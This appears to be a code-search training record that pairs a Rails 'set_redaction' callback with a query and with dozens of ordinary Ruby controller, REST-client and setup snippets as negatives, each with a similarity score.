"def call_mattermost (data = {}, url = [Config['Mattermost']['url'], 'hooks', Config['Mattermost']['webhook_code']].join('/'), header = {content_type: :json, accept: :json})\n\tif !data.has_key?(:login_id)\n\t\tpayload = data.merge(Config['DefaultPayload'])\n\telse\n\t\tpayload = data\n\tend\n\n\t# Just in case, though we may not need text\n\tunless payload.has_key?(:text) or payload.has_key?(:attachments)\n\t\tpayload['text'] = 'This was triggered on: ' + Time.now.strftime(\"%d/%m/%Y %H:%M\") #Feel free to change this\n\tend\n\n\tresponse = RestClient.post url, payload.to_json, {content_type: :json, accept: :json}\n\n\treturn response\nend",
"def rest_post(base_uri,json_payload,params)\n begin\n puts base_uri,json_payload\n @response = RestClient.post(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end",
"def post(path, payload)\n req = Net::HTTP::Post.new(path)\n action(req, payload)\n end",
"def create\n @accessory_act = AccessoryAct.new(params[:accessory_act])\n\n respond_to do |format|\n if @accessory_act.save\n format.html { redirect_to @accessory_act, :notice => 'Accessory act was successfully created.' }\n format.json { render :json => @accessory_act, :status => :created, :location => @accessory_act }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @accessory_act.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def postEntityStatus( entity_id, status, inactive_reason, inactive_description)\n params = Hash.new\n params['entity_id'] = entity_id\n params['status'] = status\n params['inactive_reason'] = inactive_reason\n params['inactive_description'] = inactive_description\n return doCurl(\"post\",\"/entity/status\",params)\n end",
"def create\r\n @enrichment_act = EnrichmentAct.new(params[:enrichment_act])\r\n\r\n respond_to do |format|\r\n if @enrichment_act.save\r\n format.html { redirect_to @enrichment_act, notice: 'Enrichment act was successfully created.' }\r\n format.json { render json: @enrichment_act, status: :created, location: @enrichment_act }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @enrichment_act.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def post_notification(attributes)\n begin\n response = notifications_api.post(encode_json(attributes))\n [parse_json(response), nil]\n rescue RestClient::UnprocessableEntity => e\n [parse_json(e.response), InvalidNotification]\n rescue RestClient::Unauthorized\n [{}, Unauthorized]\n end\n end",
"def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"def post(*args)\n execute(:post, *args)\n end",
"def create\n render json: Dish.create(dish_params)\n end",
"def post(url, payload, headers={})\n payload = MultiJson.encode(payload)\n headers = headers.merge({:content_type => 'application/json'})\n request(:post, url, payload, headers)\n end",
"def create\n @recruiter = Recruiter.new(recruiter_params)\n\n if @recruiter.save\n render_json_message({:success => t('.success')}, 201, {id: @recruiter.id})\n else\n render_json_message({:errors => @recruiter.errors.messages}, 422)\n end\n\n end",
"def post_act(act, params)\n Cloudflare::Util::Component.parse_response(HTTParty.post(Cloudflare::Util::Config.get('host.base_url'), body: get_body(act, params)))\n end",
"def create\n @postit = Postit.new(postit_params)\n @postit.user = current_user\n\n respond_to do |format|\n if @postit.save\n broadcast_notification @postit\n broadcast_actioncable \"retrospective\", \"createPostit\", @postit.to_json(include: [:user,comments: {include: :actor }])\n format.html { redirect_to @postit, notice: 'Postit was successfully created.' }\n format.json { render json: @postit.to_json(include: :user) }\n else\n format.html { render :new }\n format.json { render json: @postit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @refund = Refund.new(params[:refund])\n\n respond_to do |format|\n if @refund.save\n format.html { redirect_to @refund, notice: 'El rembolso ha sido almacenado' }\n format.json { render json: @refund, status: :created, location: @refund }\n else\n format.html { render action: \"new\" }\n format.json { render json: @refund.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(url, payload = {}, headers = {})\n http :post, \"#{url}.json\", payload.to_json, headers\n end",
"def post_aliases(actions)\n resp = post do |req|\n req.url \"/_aliases\"\n req.body = { :actions => Array.new(actions) }\n end\n resp.body\n end",
"def create\n @recipe = Recipe.find params[:recipe_id]\n review = Review.new review_params\n review.recipe = @recipe\n review.user = current_user\n if review.save\n render json:{id: review.id}\n else \n render(json: {status: 422},\n status: 422 )\n end\n end",
"def post(request)\n # sure thing!\n json_response(200, { message: \"This dummy POST endpoint didn't do anything.\" })\n end",
"def test_unredact_way_unauthorised\n way = create(:way, :with_history, :version => 2)\n way_v1 = way.old_ways.find_by(:version => 1)\n way_v1.redact!(create(:redaction))\n\n post :redact, :params => { :id => way_v1.way_id, :version => way_v1.version }\n assert_response :unauthorized, \"should need to be authenticated to unredact.\"\n end",
"def post\n \"\n desc 'create #{resource.singularize}' do\n tags %w[#{resource.singularize}]\n end\n params do\n # TODO: specify the parameters\n end\n post do\n # your code goes here\n end\"\n end",
"def post_evaluate(excon, body)\n excon.request(\n method: :post,\n path: '/evaluate',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend",
"def create\n @expense = Expense.new(expense_params)\n\n if @expense.save\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def create\n @expense = Expense.new(params[:expense])\n @workflow = Workflow.find(params[:wid])\n\n respond_to do |format|\n if @expense.save\n @workflow.expense=@expense\n @workflow.update_attributes(:status => \"finished\")\n @workflow.repairmen.each do |re|\n re.user.update_attributes(:status => 'idle')\n end\n format.html { redirect_to workflow_flow_workflows_path, notice: 'Expense was successfully created.' }\n format.json { render :json => @expense, :status => :created }\n else\n #format.html { render action: \"new\" }\n format.json { render :json => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n draft = draft_resource_class.find(params[:id])\n user_token = token\n if Rails.env.development?\n user_token = 'ABC-1'\n end\n ingested_response = cmr_client.send(\"ingest_#{resource_name}\", metadata: draft.draft.to_json, provider_id: draft.provider_id, native_id: draft.native_id, collection_concept_id: draft.collection_concept_id, token: user_token)\n\n if ingested_response.success?\n # get information for publication email notification before draft is deleted\n Rails.logger.info(\"Audit Log: #{capitalized_resource_name} Draft #{draft.entry_title} was published by #{current_user.urs_uid} in provider: #{current_user.provider_id}\")\n short_name = draft.short_name\n\n # Delete draft\n draft.destroy\n\n concept_id = ingested_response.body['concept-id']\n revision_id = ingested_response.body['revision-id']\n\n begin\n # instantiate and deliver notification email\n DraftMailer.send(\"#{resource_name}_draft_published_notification\", get_user_info, concept_id, revision_id, short_name).deliver_now\n rescue => e\n Rails.logger.error \"Error trying to send email in #{self.class} Error: #{e}\"\n flash[:error] = \"Couldn't send confirmation email\"\n end\n redirect_to send(\"#{resource_name}_path\", concept_id, revision_id: revision_id), flash: { success: I18n.t(\"controllers.#{plural_resource_name}.create.flash.success\") }\n else\n # Log error message\n Rails.logger.error(\"Ingest #{capitalized_resource_name} Metadata Error: #{ingested_response.clean_inspect}\")\n Rails.logger.info(\"User #{current_user.urs_uid} attempted to ingest #{resource_name} draft #{draft.entry_title} in provider #{current_user.provider_id} but encountered an error.\")\n\n @ingest_errors = generate_ingest_errors(ingested_response)\n flash[:error] = ingested_response.error_message(i18n: I18n.t(\"controllers.#{plural_resource_name}.create.flash.error\"), force_i18n_preface: true)\n redirect_to send(\"#{resource_name}_draft_path\", draft)\n end\n end"
] |
[
"0.60335094",
"0.59971386",
"0.5819923",
"0.5814738",
"0.5764917",
"0.5764917",
"0.57573676",
"0.56865317",
"0.56438875",
"0.56438875",
"0.5592745",
"0.55274516",
"0.54872566",
"0.5411561",
"0.53970075",
"0.5388228",
"0.53530157",
"0.53185326",
"0.5306967",
"0.53051996",
"0.52520573",
"0.52476573",
"0.5233573",
"0.52174294",
"0.52067626",
"0.52001214",
"0.5197256",
"0.519332",
"0.5155876",
"0.513188",
"0.51315445",
"0.5081663",
"0.5070381",
"0.50632256",
"0.5061529",
"0.5061529",
"0.5059584",
"0.5056532",
"0.5055263",
"0.50485116",
"0.5038131",
"0.50263005",
"0.5025715",
"0.501871",
"0.5014375",
"0.5013095",
"0.50064325",
"0.5004701",
"0.49980026",
"0.49911815",
"0.49769738",
"0.49763015",
"0.49757352",
"0.4953607",
"0.49500516",
"0.4938221",
"0.49370816",
"0.4934904",
"0.49297416",
"0.491654",
"0.49041674",
"0.4899644",
"0.48984498",
"0.489831",
"0.4898123",
"0.4897006",
"0.48892173",
"0.48888254",
"0.4887366",
"0.487689",
"0.4873916",
"0.48666674",
"0.48622206",
"0.48600873",
"0.48566705",
"0.4855934",
"0.48472577",
"0.4846622",
"0.48422605",
"0.48389465",
"0.48389465",
"0.48389465",
"0.48373827",
"0.4834058",
"0.48333797",
"0.48332232",
"0.48306954",
"0.4830414",
"0.48291123",
"0.48275658",
"0.48265988",
"0.48238403",
"0.48183927",
"0.48175758",
"0.48153925",
"0.48143473",
"0.4814274",
"0.48137537",
"0.48131645"
] |
0.6994867
|
1
|
DELETE /redactions/1 DELETE /redactions/1.json
|
def destroy
@redaction.destroy
respond_to do |format|
format.html { redirect_to redactions_url, notice: 'Redaction was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n ruta = \"/actions/#{action_id}\"\n client.delete(ruta)\n end",
"def destroy\n @red.destroy\n respond_to do |format|\n format.html { redirect_to reds_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @red.destroy\n respond_to do |format|\n format.html { redirect_to reds_url, notice: 'Red was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(action, **args); end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @hit = Hit.find(params[:id])\n @hit.reactions.destroy_all\n @hit.destroy\n\n respond_to do |format|\n format.html { redirect_to hits_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n \n respond_to do |format|\n RestClient.delete 'localhost:3001/colores/'[email protected]_s, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'}\n format.html { redirect_to colors_url, notice: \"Color was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @reaction.destroy\n respond_to do |format|\n flash[:notice] = 'Boom!'\n format.html { redirect_to reactions_url }\n format.json { head :no_content }\n end\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n @redpack = Redpack.find(params[:id])\n @redpack.destroy\n\n respond_to do |format|\n format.html { redirect_to redpacks_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete(*rest) end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def delete(payload = {})\n request! do\n options = {payload: to_payload(payload)}\n api(options)[url.path].delete(API_HEADERS)\n end\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n @red_flag = RedFlag.find(params[:id])\n @red_flag.destroy\n\n respond_to do |format|\n format.html { redirect_to red_flags_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def delete(*args)\n request(:delete, *args)\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete(path, payload = nil)\n req = Net::HTTP::Delete.new(path)\n action(req, payload)\n end",
"def delete!\n request! :delete\n end",
"def destroy\n @reconcile = Reconcile.find(params[:id])\n @reconcile.destroy\n\n respond_to do |format|\n format.html { redirect_to reconciles_url }\n format.json { head :no_content }\n end\n end",
"def api_delete(action, data)\n api_request(action, data, 'DELETE')\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n relationship = Relationships.find(params[:id])\n relationship.destroy\n head 204\n end",
"def delete(payload)\n post_like payload, Net::HTTP::Delete.new(@uri.path)\n end",
"def destroy\n @redacao.destroy\n respond_to do |format|\n format.html { redirect_to redacaos_url }\n format.json { head :no_content }\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @redux.destroy\n respond_to do |format|\n format.html { redirect_to reduxes_url, notice: 'Redux was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n\n end",
"def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n @status.destroy\n\n respond_to do |format|\n format.html { redirect_to statuseses_url }\n format.json { head :no_content }\n end\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def destroy\n @resto.destroy\n respond_to do |format|\n format.html { redirect_to restos_url, notice: 'Entry was deleted.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @rum = Rum.find(params[:id])\n @rum.destroy\n\n respond_to do |format|\n format.html { redirect_to rums_url }\n format.json { head :ok }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @actum.destroy\n respond_to do |format|\n format.html { redirect_to acta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tredit_action = TreditAction.find(params[:id])\n @tredit_action.destroy\n\n respond_to do |format|\n format.html { redirect_to tredit_actions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tredit_action = TreditAction.find(params[:id])\n @tredit_action.destroy\n\n respond_to do |format|\n format.html { redirect_to tredit_actions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @green = Green.find(params[:id])\n @green.destroy\n\n respond_to do |format|\n format.html { redirect_to scaffold_greens_url }\n format.json { head :ok }\n end\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def destroy\n @xaction = Xaction.find(params[:id])\n @xaction.destroy\n\n respond_to do |format|\n format.html { redirect_to xactions_url }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def delete(url, headers={})\n RestClient.delete url, headers\n end",
"def destroy\n @dosha_action.destroy\n respond_to do |format|\n format.html { redirect_to dosha_actions_url }\n format.json { head :no_content }\n end\n end",
"def delete_resource_action(type, id = nil, data = nil)\n api_resource(type, id, \"Detaching\") do |resource|\n delete_resource_main_action(type, resource, data)\n end\n end",
"def destroy\n @remedio = Remedio.find(params[:id])\n @remedio.destroy\n\n respond_to do |format|\n format.html { redirect_to remedios_url }\n format.json { head :no_content }\n end\n end",
"def delete; update(:status => 'DELETED'); end",
"def destroy\n @verb.destroy\n\n head :no_content\n end",
"def destroy\n rid = params['id']\n if Aws.delete_recipe(rid) && Aws.delete_all_ingredients(rid)\n msg = {:notice => \"Recipe deleted!\"}\n render :json => msg\n else\n msg = {:notice => \"Error while deleting from DynamoDB!\"}\n render :json => msg\n end\n end",
"def delete\n \n end",
"def destroy\n @actore = Actore.find(params[:id])\n @actore.destroy\n\n respond_to do |format|\n format.html { redirect_to actores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @remito = Remito.find(params[:id])\n @remito.destroy\n\n respond_to do |format|\n format.html { redirect_to remitos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @action_name = ActionName.find(params[:id])\n @action_name.destroy\n\n respond_to do |format|\n format.html { redirect_to action_names_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @data = @recipe.delete(params[:id])\n render json: @data\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def delete(url)\n call(url: url, action: :delete)\n end",
"def delete\n end",
"def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end",
"def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end",
"def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def destroy\n @referee = Referee.find(params[:id])\n @referee.destroy\n\n respond_to do |format|\n format.html { redirect_to referees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recommand = Recommand.find(params[:id])\n @recommand.destroy\n\n respond_to do |format|\n format.html { redirect_to(recommands_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path)\n request(:delete, path)\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def destroy\n @verb.destroy\n respond_to do |format|\n format.html { redirect_to verbs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @distraction = Distraction.find(params[:id])\n @distraction.destroy\n\n respond_to do |format|\n format.html { redirect_to distractions_url }\n format.json { head :no_content }\n end\n end",
"def delete(params = {})\n Client.current.delete(resource_url, params)\n end",
"def destroy\n @logstash = Logstash.find(params[:id])\n @logstash.destroy\n\n respond_to do |format|\n format.html { redirect_to logstashes_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7249294",
"0.7062414",
"0.70323956",
"0.6812912",
"0.6772958",
"0.67714584",
"0.6768948",
"0.6742741",
"0.6714622",
"0.6703166",
"0.6663673",
"0.66016185",
"0.65748864",
"0.65748864",
"0.6569586",
"0.6568313",
"0.6526383",
"0.6521479",
"0.6521135",
"0.6507915",
"0.65010977",
"0.64967096",
"0.64733124",
"0.64732695",
"0.6470139",
"0.6463808",
"0.6451541",
"0.6441384",
"0.64291424",
"0.64269435",
"0.64260244",
"0.6424016",
"0.64225584",
"0.6407709",
"0.64069074",
"0.640577",
"0.640457",
"0.6403606",
"0.6399172",
"0.6385585",
"0.6382018",
"0.6382018",
"0.6378481",
"0.63772076",
"0.6369442",
"0.6369442",
"0.6369442",
"0.6369442",
"0.6364715",
"0.636283",
"0.63597083",
"0.63555527",
"0.635411",
"0.6350997",
"0.6339995",
"0.6338229",
"0.6336967",
"0.6336967",
"0.63342136",
"0.63339514",
"0.63339514",
"0.63339514",
"0.63339514",
"0.63339514",
"0.63339514",
"0.63339514",
"0.63338417",
"0.63245666",
"0.6318216",
"0.6311238",
"0.6307056",
"0.63013256",
"0.6295056",
"0.6292973",
"0.6285668",
"0.6281556",
"0.62774915",
"0.6275313",
"0.62705123",
"0.6270163",
"0.6267453",
"0.6267419",
"0.6265121",
"0.6261495",
"0.62607205",
"0.62597173",
"0.62597173",
"0.6259368",
"0.6255518",
"0.62548125",
"0.62422514",
"0.6234653",
"0.6231929",
"0.6225821",
"0.62237334",
"0.6220454",
"0.6220323",
"0.6219255",
"0.6213723"
] |
0.7244685
|
2
|
Use callbacks to share common setup or constraints between actions.
|
def set_redaction
@redaction = Redaction.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup_handler\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def around_hooks; end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
